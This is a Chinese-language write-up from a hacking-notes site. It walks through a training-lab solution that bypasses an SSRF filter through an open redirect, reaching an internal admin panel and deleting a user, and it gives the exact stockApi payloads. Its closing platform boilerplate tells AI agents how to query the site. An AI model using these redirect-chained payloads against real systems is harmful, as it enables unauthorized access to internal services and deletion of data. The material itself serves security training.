> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/ssrf-bypass-via-open-redirection.md).

# 通过开放重定向绕过 SSRF

### 通过开放重定向漏洞绕过过滤器的 SSRF

这个实验使用一个库存验证功能，该功能会从内部系统检索数据。/ 目标是修改库存检查器使用的 URL，使其访问位于 `HTTP://192.168.0.12:8080/admin`，然后删除该用户 **carlos**.

服务器端过滤器只允许应用内部的 URL，因此需要利用开放重定向漏洞。

#### 分析

受控参数是：

```javascript
stockApi=/product/stock/check?productId=1%26storeId=1
```

如果我们直接尝试：

```javascript
stockApi=http://192.168.0.12:8080/admin
```

服务器返回 `无效的外部库存检查 URL 'Invalid URL'`：外部请求被阻止。

<figure><img src="/files/92f36927bbfac19ae429326fff6f99a620b88d1b" alt=""><figcaption></figcaption></figure>

但是，该应用有一个 **nextProduct** 功能，可通过 `路径` 参数：

{% code overflow="wrap" %}

```
https://0adc006f044883d082847e1d00a500b3.web-security-academy.net/product/nextProduct?currentProductId=1&path=/product?productId=2
```

{% endcode %}

<figure><img src="/files/ff0d0eb027af1ceb208766c7435488d3ba0e288b" alt=""><figcaption></figcaption></figure>

此功能会强制服务器跟随其重定向到的任意 URL。

#### 利用

因此，内部重定向器被用作通往内部系统的中继：

```javascript
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin
```

<figure><img src="/files/605e7b8bb2fd8e9764f584e7b3a95d895dae443f" alt=""><figcaption></figcaption></figure>

一旦通过此重定向获得对管理界面的访问权限，用户 **carlos** 将被删除：

{% code overflow="wrap" %}

```
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssrf/ssrf-bypass-via-open-redirection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
